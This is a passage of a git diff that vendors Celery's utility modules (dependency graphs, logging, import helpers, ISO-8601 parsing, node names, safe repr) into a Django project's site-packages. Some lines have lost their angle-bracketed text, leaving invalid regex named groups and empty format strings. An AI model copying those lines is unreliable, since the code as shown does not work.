Does not support cycle detection. + """ + + def __init__(self, it=None, formatter=None): + self.formatter = formatter or GraphFormatter() + self.adjacent = {} + if it is not None: + self.update(it) + + def add_arc(self, obj): + """Add an object to the graph.""" + self.adjacent.setdefault(obj, []) + + def add_edge(self, A, B): + """Add an edge from object ``A`` to object ``B``. + + I.e. ``A`` depends on ``B``. + """ + self[A].append(B) + + def connect(self, graph): + """Add nodes from another graph.""" + self.adjacent.update(graph.adjacent) + + def topsort(self): + """Sort the graph topologically. + + Returns: + List: of objects in the order in which they must be handled. + """ + graph = DependencyGraph() + components = self._tarjan72() + + NC = { + node: component for component in components for node in component + } + for component in components: + graph.add_arc(component) + for node in self: + node_c = NC[node] + for successor in self[node]: + successor_c = NC[successor] + if node_c != successor_c: + graph.add_edge(node_c, successor_c) + return [t[0] for t in graph._khan62()] + + def valency_of(self, obj): + """Return the valency (degree) of a vertex in the graph.""" + try: + l = [len(self[obj])] + except KeyError: + return 0 + for node in self[obj]: + l.append(self.valency_of(node)) + return sum(l) + + def update(self, it): + """Update graph with data from a list of ``(obj, deps)`` tuples.""" + tups = list(it) + for obj, _ in tups: + self.add_arc(obj) + for obj, deps in tups: + for dep in deps: + self.add_edge(obj, dep) + + def edges(self): + """Return generator that yields for all edges in the graph.""" + return (obj for obj, adj in self.items() if adj) + + def _khan62(self): + """Perform Khan's simple topological sort algorithm from '62. + + See https://en.wikipedia.org/wiki/Topological_sorting + """ + count = Counter() + result = [] + + for node in self: + for successor in self[node]: + count[successor] += 1 + ready = [node for node in self if not count[node]] + + while ready: + node = ready.pop() + result.append(node) + + for successor in self[node]: + count[successor] -= 1 + if count[successor] == 0: + ready.append(successor) + result.reverse() + return result + + def _tarjan72(self): + """Perform Tarjan's algorithm to find strongly connected components. + + See Also: + :wikipedia:`Tarjan%27s_strongly_connected_components_algorithm` + """ + result, stack, low = [], [], {} + + def visit(node): + if node in low: + return + num = len(low) + low[node] = num + stack_pos = len(stack) + stack.append(node) + + for successor in self[node]: + visit(successor) + low[node] = min(low[node], low[successor]) + + if num == low[node]: + component = tuple(stack[stack_pos:]) + stack[stack_pos:] = [] + result.append(component) + for item in component: + low[item] = len(self) + + for node in self: + visit(node) + + return result + + def to_dot(self, fh, formatter=None): + """Convert the graph to DOT format. + + Arguments: + fh (IO): A file, or a file-like object to write the graph to. + formatter (celery.utils.graph.GraphFormatter): Custom graph + formatter to use. + """ + seen = set() + draw = formatter or self.formatter + + def P(s): + print(bytes_to_str(s), file=fh) + + def if_not_seen(fun, obj): + if draw.label(obj) not in seen: + P(fun(obj)) + seen.add(draw.label(obj)) + + P(draw.head()) + for obj, adjacent in self.items(): + if not adjacent: + if_not_seen(draw.terminal_node, obj) + for req in adjacent: + if_not_seen(draw.node, obj) + P(draw.edge(obj, req)) + P(draw.tail()) + + def format(self, obj): + return self.formatter(obj) if self.formatter else obj + + def __iter__(self): + return iter(self.adjacent) + + def __getitem__(self, node): + return self.adjacent[node] + + def __len__(self): + return len(self.adjacent) + + def __contains__(self, obj): + return obj in self.adjacent + + def _iterate_items(self): + return self.adjacent.items() + items = iteritems = _iterate_items + + def __repr__(self): + return '\n'.join(self.repr_node(N) for N in self) + + def repr_node(self, obj, level=1, fmt='{0}({1})'): + output = [fmt.format(obj, self.valency_of(obj))] + if obj in self: + for other in self[obj]: + d = fmt.format(other, self.valency_of(other)) + output.append(' ' * level + d) + output.extend(self.repr_node(other, level + 1).split('\n')[1:]) + return '\n'.join(output) + + +class GraphFormatter: + """Format dependency graphs.""" + + _attr = DOT.ATTR.strip() + _node = DOT.NODE.strip() + _edge = DOT.EDGE.strip() + _head = DOT.HEAD.strip() + _tail = DOT.TAIL.strip() + _attrsep = DOT.ATTRSEP + _dirs = dict(DOT.DIRS) + + scheme = { + 'shape': 'box', + 'arrowhead': 'vee', + 'style': 'filled', + 'fontname': 'HelveticaNeue', + } + edge_scheme = { + 'color': 'darkseagreen4', + 'arrowcolor': 'black', + 'arrowsize': 0.7, + } + node_scheme = {'fillcolor': 'palegreen3', 'color': 'palegreen4'} + term_scheme = {'fillcolor': 'palegreen1', 'color': 'palegreen2'} + graph_scheme = {'bgcolor': 'mintcream'} + + def __init__(self, root=None, type=None, id=None, + indent=0, inw=' ' * 4, **scheme): + self.id = id or 'dependencies' + self.root = root + self.type = type or 'digraph' + self.direction = self._dirs[self.type] + self.IN = inw * (indent or 0) + self.INp = self.IN + inw + self.scheme = dict(self.scheme, **scheme) + self.graph_scheme = dict(self.graph_scheme, root=self.label(self.root)) + + def attr(self, name, value): + value = f'"{value}"' + return self.FMT(self._attr, name=name, value=value) + + def attrs(self, d, scheme=None): + d = dict(self.scheme, **dict(scheme, **d or {}) if scheme else d) + return self._attrsep.join( + safe_str(self.attr(k, v)) for k, v in d.items() + ) + + def head(self, **attrs): + return self.FMT( + self._head, id=self.id, type=self.type, + attrs=self.attrs(attrs, self.graph_scheme), + ) + + def tail(self): + return self.FMT(self._tail) + + def label(self, obj): + return obj + + def node(self, obj, **attrs): + return self.draw_node(obj, self.node_scheme, attrs) + + def terminal_node(self, obj, **attrs): + return self.draw_node(obj, self.term_scheme, attrs) + + def edge(self, a, b, **attrs): + return self.draw_edge(a, b, **attrs) + + def _enc(self, s): + return s.encode('utf-8', 'ignore') + + def FMT(self, fmt, *args, **kwargs): + return self._enc(fmt.format( + *args, **dict(kwargs, IN=self.IN, INp=self.INp) + )) + + def draw_edge(self, a, b, scheme=None, attrs=None): + return self.FMT( + self._edge, self.label(a), self.label(b), + dir=self.direction, attrs=self.attrs(attrs, self.edge_scheme), + ) + + def draw_node(self, obj, scheme=None, attrs=None): + return self.FMT( + self._node, self.label(obj), attrs=self.attrs(attrs, scheme), + ) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/imports.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/imports.py new file mode 100644 index 00000000..6fcdf2e0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/imports.py @@ -0,0 +1,157 @@ +"""Utilities related to importing modules and symbols by name.""" +import importlib +import os +import sys +import warnings +from contextlib import contextmanager +from importlib import reload + +try: + from importlib.metadata import entry_points +except ImportError: + from importlib_metadata import entry_points + +from kombu.utils.imports import symbol_by_name + +#: Billiard sets this when execv is enabled. +#: We use it to find out the name of the original ``__main__`` +#: module, so that we can properly rewrite the name of the +#: task to be that of ``App.main``. +MP_MAIN_FILE = os.environ.get('MP_MAIN_FILE') + +__all__ = ( + 'NotAPackage', 'qualname', 'instantiate', 'symbol_by_name', + 'cwd_in_path', 'find_module', 'import_from_cwd', + 'reload_from_cwd', 'module_file', 'gen_task_name', +) + + +class NotAPackage(Exception): + """Raised when importing a package, but it's not a package.""" + + +def qualname(obj): + """Return object name.""" + if not hasattr(obj, '__name__') and hasattr(obj, '__class__'): + obj = obj.__class__ + q = getattr(obj, '__qualname__', None) + if '.' not in q: + q = '.'.join((obj.__module__, q)) + return q + + +def instantiate(name, *args, **kwargs): + """Instantiate class by name. + + See Also: + :func:`symbol_by_name`. + """ + return symbol_by_name(name)(*args, **kwargs) + + +@contextmanager +def cwd_in_path(): + """Context adding the current working directory to sys.path.""" + cwd = os.getcwd() + if cwd in sys.path: + yield + else: + sys.path.insert(0, cwd) + try: + yield cwd + finally: + try: + sys.path.remove(cwd) + except ValueError: # pragma: no cover + pass + + +def find_module(module, path=None, imp=None): + """Version of :func:`imp.find_module` supporting dots.""" + if imp is None: + imp = importlib.import_module + with cwd_in_path(): + try: + return imp(module) + except ImportError: + # Raise a more specific error if the problem is that one of the + # dot-separated segments of the module name is not a package. + if '.' in module: + parts = module.split('.') + for i, part in enumerate(parts[:-1]): + package = '.'.join(parts[:i + 1]) + try: + mpart = imp(package) + except ImportError: + # Break out and re-raise the original ImportError + # instead. + break + try: + mpart.__path__ + except AttributeError: + raise NotAPackage(package) + raise + + +def import_from_cwd(module, imp=None, package=None): + """Import module, temporarily including modules in the current directory. + + Modules located in the current directory has + precedence over modules located in `sys.path`. + """ + if imp is None: + imp = importlib.import_module + with cwd_in_path(): + return imp(module, package=package) + + +def reload_from_cwd(module, reloader=None): + """Reload module (ensuring that CWD is in sys.path).""" + if reloader is None: + reloader = reload + with cwd_in_path(): + return reloader(module) + + +def module_file(module): + """Return the correct original file name of a module.""" + name = module.__file__ + return name[:-1] if name.endswith('.pyc') else name + + +def gen_task_name(app, name, module_name): + """Generate task name from name/module pair.""" + module_name = module_name or '__main__' + try: + module = sys.modules[module_name] + except KeyError: + # Fix for manage.py shell_plus (Issue #366) + module = None + + if module is not None: + module_name = module.__name__ + # - If the task module is used as the __main__ script + # - we need to rewrite the module part of the task name + # - to match App.main. + if MP_MAIN_FILE and module.__file__ == MP_MAIN_FILE: + # - see comment about :envvar:`MP_MAIN_FILE` above. + module_name = '__main__' + if module_name == '__main__' and app.main: + return '.'.join([app.main, name]) + return '.'.join(p for p in (module_name, name) if p) + + +def load_extension_class_names(namespace): + for ep in entry_points().get(namespace, []): + yield ep.name, ep.value + + +def load_extension_classes(namespace): + for name, class_name in load_extension_class_names(namespace): + try: + cls = symbol_by_name(class_name) + except (ImportError, SyntaxError) as exc: + warnings.warn( + f'Cannot load {namespace} extension {class_name!r}: {exc!r}') + else: + yield name, cls diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/iso8601.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/iso8601.py new file mode 100644 index 00000000..4f9d1833 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/iso8601.py @@ -0,0 +1,76 @@ +"""Parse ISO8601 dates. + +Originally taken from :pypi:`pyiso8601` +(https://bitbucket.org/micktwomey/pyiso8601) + +Modified to match the behavior of ``dateutil.parser``: + + - raise :exc:`ValueError` instead of ``ParseError`` + - return naive :class:`~datetime.datetime` by default + - uses :class:`pytz.FixedOffset` + +This is the original License: + +Copyright (c) 2007 Michael Twomey + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sub-license, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +""" +import re +from datetime import datetime + +from pytz import FixedOffset + +__all__ = ('parse_iso8601',) + +# Adapted from http://delete.me.uk/2005/03/iso8601.html +ISO8601_REGEX = re.compile( + r'(?P[0-9]{4})(-(?P[0-9]{1,2})(-(?P[0-9]{1,2})' + r'((?P.)(?P[0-9]{2}):(?P[0-9]{2})' + r'(:(?P[0-9]{2})(\.(?P[0-9]+))?)?' + r'(?PZ|(([-+])([0-9]{2}):([0-9]{2})))?)?)?)?' +) +TIMEZONE_REGEX = re.compile( + r'(?P[+-])(?P[0-9]{2}).(?P[0-9]{2})' +) + + +def parse_iso8601(datestring): + """Parse and convert ISO-8601 string to datetime.""" + m = ISO8601_REGEX.match(datestring) + if not m: + raise ValueError('unable to parse date string %r' % datestring) + groups = m.groupdict() + tz = groups['timezone'] + if tz == 'Z': + tz = FixedOffset(0) + elif tz: + m = TIMEZONE_REGEX.match(tz) + prefix, hours, minutes = m.groups() + hours, minutes = int(hours), int(minutes) + if prefix == '-': + hours = -hours + minutes = -minutes + tz = FixedOffset(minutes + hours * 60) + return datetime( + int(groups['year']), int(groups['month']), + int(groups['day']), int(groups['hour'] or 0), + int(groups['minute'] or 0), int(groups['second'] or 0), + int(groups['fraction'] or 0), tz + ) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/log.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/log.py new file mode 100644 index 00000000..668094c5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/log.py @@ -0,0 +1,295 @@ +"""Logging utilities.""" +import logging +import numbers +import os +import sys +import threading +import traceback +from contextlib import contextmanager +from typing import AnyStr, Sequence + +from kombu.log import LOG_LEVELS +from kombu.log import get_logger as _get_logger +from kombu.utils.encoding import safe_str + +from .term import colored + +__all__ = ( + 'ColorFormatter', 'LoggingProxy', 'base_logger', + 'set_in_sighandler', 'in_sighandler', 'get_logger', + 'get_task_logger', 'mlevel', + 'get_multiprocessing_logger', 'reset_multiprocessing_logger', 'LOG_LEVELS' +) + +_process_aware = False +_in_sighandler = False + +MP_LOG = os.environ.get('MP_LOG', False) + +RESERVED_LOGGER_NAMES = {'celery', 'celery.task'} + +# Sets up our logging hierarchy. +# +# Every logger in the celery package inherits from the "celery" +# logger, and every task logger inherits from the "celery.task" +# logger. +base_logger = logger = _get_logger('celery') + + +def set_in_sighandler(value): + """Set flag signifiying that we're inside a signal handler.""" + global _in_sighandler + _in_sighandler = value + + +def iter_open_logger_fds(): + seen = set() + loggers = (list(logging.Logger.manager.loggerDict.values()) + + [logging.getLogger(None)]) + for l in loggers: + try: + for handler in l.handlers: + try: + if handler not in seen: # pragma: no cover + yield handler.stream + seen.add(handler) + except AttributeError: + pass + except AttributeError: # PlaceHolder does not have handlers + pass + + +@contextmanager +def in_sighandler(): + """Context that records that we are in a signal handler.""" + set_in_sighandler(True) + try: + yield + finally: + set_in_sighandler(False) + + +def logger_isa(l, p, max=1000): + this, seen = l, set() + for _ in range(max): + if this == p: + return True + else: + if this in seen: + raise RuntimeError( + f'Logger {l.name!r} parents recursive', + ) + seen.add(this) + this = this.parent + if not this: + break + else: # pragma: no cover + raise RuntimeError(f'Logger hierarchy exceeds {max}') + return False + + +def _using_logger_parent(parent_logger, logger_): + if not logger_isa(logger_, parent_logger): + logger_.parent = parent_logger + return logger_ + + +def get_logger(name): + """Get logger by name.""" + l = _get_logger(name) + if logging.root not in (l, l.parent) and l is not base_logger: + l = _using_logger_parent(base_logger, l) + return l + + +task_logger = get_logger('celery.task') +worker_logger = get_logger('celery.worker') + + +def get_task_logger(name): + """Get logger for task module by name.""" + if name in RESERVED_LOGGER_NAMES: + raise RuntimeError(f'Logger name {name!r} is reserved!') + return _using_logger_parent(task_logger, get_logger(name)) + + +def mlevel(level): + """Convert level name/int to log level.""" + if level and not isinstance(level, numbers.Integral): + return LOG_LEVELS[level.upper()] + return level + + +class ColorFormatter(logging.Formatter): + """Logging formatter that adds colors based on severity.""" + + #: Loglevel -> Color mapping. + COLORS = colored().names + colors = { + 'DEBUG': COLORS['blue'], + 'WARNING': COLORS['yellow'], + 'ERROR': COLORS['red'], + 'CRITICAL': COLORS['magenta'], + } + + def __init__(self, fmt=None, use_color=True): + super().__init__(fmt) + self.use_color = use_color + + def formatException(self, ei): + if ei and not isinstance(ei, tuple): + ei = sys.exc_info() + r = super().formatException(ei) + return r + + def format(self, record): + msg = super().format(record) + color = self.colors.get(record.levelname) + + # reset exception info later for other handlers... + einfo = sys.exc_info() if record.exc_info == 1 else record.exc_info + + if color and self.use_color: + try: + # safe_str will repr the color object + # and color will break on non-string objects + # so need to reorder calls based on type. + # Issue #427 + try: + if isinstance(msg, str): + return str(color(safe_str(msg))) + return safe_str(color(msg)) + except UnicodeDecodeError: # pragma: no cover + return safe_str(msg) # skip colors + except Exception as exc: # pylint: disable=broad-except + prev_msg, record.exc_info, record.msg = ( + record.msg, 1, ''.format( + type(msg), exc + ), + ) + try: + return super().format(record) + finally: + record.msg, record.exc_info = prev_msg, einfo + else: + return safe_str(msg) + + +class LoggingProxy: + """Forward file object to :class:`logging.Logger` instance. + + Arguments: + logger (~logging.Logger): Logger instance to forward to. + loglevel (int, str): Log level to use when logging messages. + """ + + mode = 'w' + name = None + closed = False + loglevel = logging.ERROR + _thread = threading.local() + + def __init__(self, logger, loglevel=None): + # pylint: disable=redefined-outer-name + # Note that the logger global is redefined here, be careful changing. + self.logger = logger + self.loglevel = mlevel(loglevel or self.logger.level or self.loglevel) + self._safewrap_handlers() + + def _safewrap_handlers(self): + # Make the logger handlers dump internal errors to + # :data:`sys.__stderr__` instead of :data:`sys.stderr` to circumvent + # infinite loops. + + def wrap_handler(handler): # pragma: no cover + + class WithSafeHandleError(logging.Handler): + + def handleError(self, record): + try: + traceback.print_exc(None, sys.__stderr__) + except OSError: + pass # see python issue 5971 + + handler.handleError = WithSafeHandleError().handleError + return [wrap_handler(h) for h in self.logger.handlers] + + def write(self, data): + # type: (AnyStr) -> int + """Write message to logging object.""" + if _in_sighandler: + safe_data = safe_str(data) + print(safe_data, file=sys.__stderr__) + return len(safe_data) + if getattr(self._thread, 'recurse_protection', False): + # Logger is logging back to this file, so stop recursing. + return 0 + if data and not self.closed: + self._thread.recurse_protection = True + try: + safe_data = safe_str(data).rstrip('\n') + if safe_data: + self.logger.log(self.loglevel, safe_data) + return len(safe_data) + finally: + self._thread.recurse_protection = False + return 0 + + def writelines(self, sequence): + # type: (Sequence[str]) -> None + """Write list of strings to file. + + The sequence can be any iterable object producing strings. + This is equivalent to calling :meth:`write` for each string. + """ + for part in sequence: + self.write(part) + + def flush(self): + # This object is not buffered so any :meth:`flush` + # requests are ignored. + pass + + def close(self): + # when the object is closed, no write requests are + # forwarded to the logging object anymore. + self.closed = True + + def isatty(self): + """Here for file support.""" + return False + + +def get_multiprocessing_logger(): + """Return the multiprocessing logger.""" + try: + from billiard import util + except ImportError: # pragma: no cover + pass + else: + return util.get_logger() + + +def reset_multiprocessing_logger(): + """Reset multiprocessing logging setup.""" + try: + from billiard import util + except ImportError: # pragma: no cover + pass + else: + if hasattr(util, '_logger'): # pragma: no cover + util._logger = None + + +def current_process(): + try: + from billiard import process + except ImportError: # pragma: no cover + pass + else: + return process.current_process() + + +def current_process_index(base=1): + index = getattr(current_process(), 'index', None) + return index + base if index is not None else index diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/nodenames.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/nodenames.py new file mode 100644 index 00000000..b3d1a522 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/nodenames.py @@ -0,0 +1,102 @@ +"""Worker name utilities.""" +import os +import socket +from functools import partial + +from kombu.entity import Exchange, Queue + +from .functional import memoize +from .text import simple_format + +#: Exchange for worker direct queues. +WORKER_DIRECT_EXCHANGE = Exchange('C.dq2') + +#: Format for worker direct queue names. +WORKER_DIRECT_QUEUE_FORMAT = '{hostname}.dq2' + +#: Separator for worker node name and hostname. +NODENAME_SEP = '@' + +NODENAME_DEFAULT = 'celery' + +gethostname = memoize(1, Cache=dict)(socket.gethostname) + +__all__ = ( + 'worker_direct', 'gethostname', 'nodename', + 'anon_nodename', 'nodesplit', 'default_nodename', + 'node_format', 'host_format', +) + + +def worker_direct(hostname): + """Return the :class:`kombu.Queue` being a direct route to a worker. + + Arguments: + hostname (str, ~kombu.Queue): The fully qualified node name of + a worker (e.g., ``w1@example.com``). If passed a + :class:`kombu.Queue` instance it will simply return + that instead. + """ + if isinstance(hostname, Queue): + return hostname + return Queue( + WORKER_DIRECT_QUEUE_FORMAT.format(hostname=hostname), + WORKER_DIRECT_EXCHANGE, + hostname, + ) + + +def nodename(name, hostname): + """Create node name from name/hostname pair.""" + return NODENAME_SEP.join((name, hostname)) + + +def anon_nodename(hostname=None, prefix='gen'): + """Return the nodename for this process (not a worker). + + This is used for e.g. the origin task message field. + """ + return nodename(''.join([prefix, str(os.getpid())]), + hostname or gethostname()) + + +def nodesplit(name): + """Split node name into tuple of name/hostname.""" + parts = name.split(NODENAME_SEP, 1) + if len(parts) == 1: + return None, parts[0] + return parts + + +def default_nodename(hostname): + """Return the default nodename for this process.""" + name, host = nodesplit(hostname or '') + return nodename(name or NODENAME_DEFAULT, host or gethostname()) + + +def node_format(s, name, **extra): + """Format worker node name (name@host.com).""" + shortname, host = nodesplit(name) + return host_format( + s, host, shortname or NODENAME_DEFAULT, p=name, **extra) + + +def _fmt_process_index(prefix='', default='0'): + from .log import current_process_index + index = current_process_index() + return f'{prefix}{index}' if index else default + + +_fmt_process_index_with_prefix = partial(_fmt_process_index, '-', '') + + +def host_format(s, host=None, name=None, **extra): + """Format host %x abbreviations.""" + host = host or gethostname() + hname, _, domain = host.partition('.') + name = name or hname + keys = dict({ + 'h': host, 'n': name, 'd': domain, + 'i': _fmt_process_index, 'I': _fmt_process_index_with_prefix, + }, **extra) + return simple_format(s, keys) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/objects.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/objects.py new file mode 100644 index 00000000..56e96ffd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/objects.py @@ -0,0 +1,142 @@ +"""Object related utilities, including introspection, etc.""" +from functools import reduce + +__all__ = ('Bunch', 'FallbackContext', 'getitem_property', 'mro_lookup') + + +class Bunch: + """Object that enables you to modify attributes.""" + + def __init__(self, **kwargs): + self.__dict__.update(kwargs) + + +def mro_lookup(cls, attr, stop=None, monkey_patched=None): + """Return the first node by MRO order that defines an attribute. + + Arguments: + cls (Any): Child class to traverse. + attr (str): Name of attribute to find. + stop (Set[Any]): A set of types that if reached will stop + the search. + monkey_patched (Sequence): Use one of the stop classes + if the attributes module origin isn't in this list. + Used to detect monkey patched attributes. + + Returns: + Any: The attribute value, or :const:`None` if not found. + """ + stop = set() if not stop else stop + monkey_patched = [] if not monkey_patched else monkey_patched + for node in cls.mro(): + if node in stop: + try: + value = node.__dict__[attr] + module_origin = value.__module__ + except (AttributeError, KeyError): + pass + else: + if module_origin not in monkey_patched: + return node + return + if attr in node.__dict__: + return node + + +class FallbackContext: + """Context workaround. + + The built-in ``@contextmanager`` utility does not work well + when wrapping other contexts, as the traceback is wrong when + the wrapped context raises. + + This solves this problem and can be used instead of ``@contextmanager`` + in this example:: + + @contextmanager + def connection_or_default_connection(connection=None): + if connection: + # user already has a connection, shouldn't close + # after use + yield connection + else: + # must've new connection, and also close the connection + # after the block returns + with create_new_connection() as connection: + yield connection + + This wrapper can be used instead for the above like this:: + + def connection_or_default_connection(connection=None): + return FallbackContext(connection, create_new_connection) + """ + + def __init__(self, provided, fallback, *fb_args, **fb_kwargs): + self.provided = provided + self.fallback = fallback + self.fb_args = fb_args + self.fb_kwargs = fb_kwargs + self._context = None + + def __enter__(self): + if self.provided is not None: + return self.provided + context = self._context = self.fallback( + *self.fb_args, **self.fb_kwargs + ).__enter__() + return context + + def __exit__(self, *exc_info): + if self._context is not None: + return self._context.__exit__(*exc_info) + + +class getitem_property: + """Attribute -> dict key descriptor. + + The target object must support ``__getitem__``, + and optionally ``__setitem__``. + + Example: + >>> from collections import defaultdict + + >>> class Me(dict): + ... deep = defaultdict(dict) + ... + ... foo = _getitem_property('foo') + ... deep_thing = _getitem_property('deep.thing') + + + >>> me = Me() + >>> me.foo + None + + >>> me.foo = 10 + >>> me.foo + 10 + >>> me['foo'] + 10 + + >>> me.deep_thing = 42 + >>> me.deep_thing + 42 + >>> me.deep + defaultdict(, {'thing': 42}) + """ + + def __init__(self, keypath, doc=None): + path, _, self.key = keypath.rpartition('.') + self.path = path.split('.') if path else None + self.__doc__ = doc + + def _path(self, obj): + return (reduce(lambda d, k: d[k], [obj] + self.path) if self.path + else obj) + + def __get__(self, obj, type=None): + if obj is None: + return type + return self._path(obj).get(self.key) + + def __set__(self, obj, value): + self._path(obj)[self.key] = value diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/saferepr.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/saferepr.py new file mode 100644 index 00000000..adcfc72e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/saferepr.py @@ -0,0 +1,274 @@ +"""Streaming, truncating, non-recursive version of :func:`repr`. + +Differences from regular :func:`repr`: + +- Sets are represented the Python 3 way: ``{1, 2}`` vs ``set([1, 2])``. +- Unicode strings does not have the ``u'`` prefix, even on Python 2. +- Empty set formatted as ``set()`` (Python 3), not ``set([])`` (Python 2). +- Longs don't have the ``L`` suffix. + +Very slow with no limits, super quick with limits. +""" +import traceback +from collections import deque, namedtuple +from decimal import Decimal +from itertools import chain +from numbers import Number +from pprint import _recursion +from typing import (Any, AnyStr, Callable, Dict, Iterator, List, Sequence, + Set, Tuple) + +from .text import truncate + +__all__ = ('saferepr', 'reprstream') + +#: Node representing literal text. +#: - .value: is the literal text value +#: - .truncate: specifies if this text can be truncated, for things like +#: LIT_DICT_END this will be False, as we always display +#: the ending brackets, e.g: [[[1, 2, 3, ...,], ..., ]] +#: - .direction: If +1 the current level is increment by one, +#: if -1 the current level is decremented by one, and +#: if 0 the current level is unchanged. +_literal = namedtuple('_literal', ('value', 'truncate', 'direction')) + +#: Node representing a dictionary key. +_key = namedtuple('_key', ('value',)) + +#: Node representing quoted text, e.g. a string value. +_quoted = namedtuple('_quoted', ('value',)) + + +#: Recursion protection. +_dirty = namedtuple('_dirty', ('objid',)) + +#: Types that are repsented as chars. +chars_t = (bytes, str) + +#: Types that are regarded as safe to call repr on. +safe_t = (Number,) + +#: Set types. +set_t = (frozenset, set) + +LIT_DICT_START = _literal('{', False, +1) +LIT_DICT_KVSEP = _literal(': ', True, 0) +LIT_DICT_END = _literal('}', False, -1) +LIT_LIST_START = _literal('[', False, +1) +LIT_LIST_END = _literal(']', False, -1) +LIT_LIST_SEP = _literal(', ', True, 0) +LIT_SET_START = _literal('{', False, +1) +LIT_SET_END = _literal('}', False, -1) +LIT_TUPLE_START = _literal('(', False, +1) +LIT_TUPLE_END = _literal(')', False, -1) +LIT_TUPLE_END_SV = _literal(',)', False, -1) + + +def saferepr(o, maxlen=None, maxlevels=3, seen=None): + # type: (Any, int, int, Set) -> str + """Safe version of :func:`repr`. + + Warning: + Make sure you set the maxlen argument, or it will be very slow + for recursive objects. With the maxlen set, it's often faster + than built-in repr. + """ + return ''.join(_saferepr( + o, maxlen=maxlen, maxlevels=maxlevels, seen=seen + )) + + +def _chaindict(mapping, + LIT_DICT_KVSEP=LIT_DICT_KVSEP, + LIT_LIST_SEP=LIT_LIST_SEP): + # type: (Dict, _literal, _literal) -> Iterator[Any] + size = len(mapping) + for i, (k, v) in enumerate(mapping.items()): + yield _key(k) + yield LIT_DICT_KVSEP + yield v + if i < (size - 1): + yield LIT_LIST_SEP + + +def _chainlist(it, LIT_LIST_SEP=LIT_LIST_SEP): + # type: (List) -> Iterator[Any] + size = len(it) + for i, v in enumerate(it): + yield v + if i < (size - 1): + yield LIT_LIST_SEP + + +def _repr_empty_set(s): + # type: (Set) -> str + return f'{type(s).__name__}()' + + +def _safetext(val): + # type: (AnyStr) -> str + if isinstance(val, bytes): + try: + val.encode('utf-8') + except UnicodeDecodeError: + # is bytes with unrepresentable characters, attempt + # to convert back to unicode + return val.decode('utf-8', errors='backslashreplace') + return val + + +def _format_binary_bytes(val, maxlen, ellipsis='...'): + # type: (bytes, int, str) -> str + if maxlen and len(val) > maxlen: + # we don't want to copy all the data, just take what we need. + chunk = memoryview(val)[:maxlen].tobytes() + return _bytes_prefix(f"'{_repr_binary_bytes(chunk)}{ellipsis}'") + return _bytes_prefix(f"'{_repr_binary_bytes(val)}'") + + +def _bytes_prefix(s): + return 'b' + s + + +def _repr_binary_bytes(val): + # type: (bytes) -> str + try: + return val.decode('utf-8') + except UnicodeDecodeError: + # possibly not unicode, but binary data so format as hex. + try: + ashex = val.hex + except AttributeError: # pragma: no cover + # Python 3.4 + return val.decode('utf-8', errors='replace') + else: + # Python 3.5+ + return ashex() + + +def _format_chars(val, maxlen): + # type: (AnyStr, int) -> str + if isinstance(val, bytes): # pragma: no cover + return _format_binary_bytes(val, maxlen) + else: + return "'{}'".format(truncate(val, maxlen).replace("'", "\\'")) + + +def _repr(obj): + # type: (Any) -> str + try: + return repr(obj) + except Exception as exc: + stack = '\n'.join(traceback.format_stack()) + return f'' + + +def _saferepr(o, maxlen=None, maxlevels=3, seen=None): + # type: (Any, int, int, Set) -> str + stack = deque([iter([o])]) + for token, it in reprstream(stack, seen=seen, maxlevels=maxlevels): + if maxlen is not None and maxlen <= 0: + yield ', ...' + # move rest back to stack, so that we can include + # dangling parens. + stack.append(it) + break + if isinstance(token, _literal): + val = token.value + elif isinstance(token, _key): + val = saferepr(token.value, maxlen, maxlevels) + elif isinstance(token, _quoted): + val = _format_chars(token.value, maxlen) + else: + val = _safetext(truncate(token, maxlen)) + yield val + if maxlen is not None: + maxlen -= len(val) + for rest1 in stack: + # maxlen exceeded, process any dangling parens. + for rest2 in rest1: + if isinstance(rest2, _literal) and not rest2.truncate: + yield rest2.value + + +def _reprseq(val, lit_start, lit_end, builtin_type, chainer): + # type: (Sequence, _literal, _literal, Any, Any) -> Tuple[Any, ...] + if type(val) is builtin_type: + return lit_start, lit_end, chainer(val) + return ( + _literal(f'{type(val).__name__}({lit_start.value}', False, +1), + _literal(f'{lit_end.value})', False, -1), + chainer(val) + ) + + +def reprstream(stack, seen=None, maxlevels=3, level=0, isinstance=isinstance): + """Streaming repr, yielding tokens.""" + # type: (deque, Set, int, int, Callable) -> Iterator[Any] + seen = seen or set() + append = stack.append + popleft = stack.popleft + is_in_seen = seen.__contains__ + discard_from_seen = seen.discard + add_to_seen = seen.add + + while stack: + lit_start = lit_end = None + it = popleft() + for val in it: + orig = val + if isinstance(val, _dirty): + discard_from_seen(val.objid) + continue + 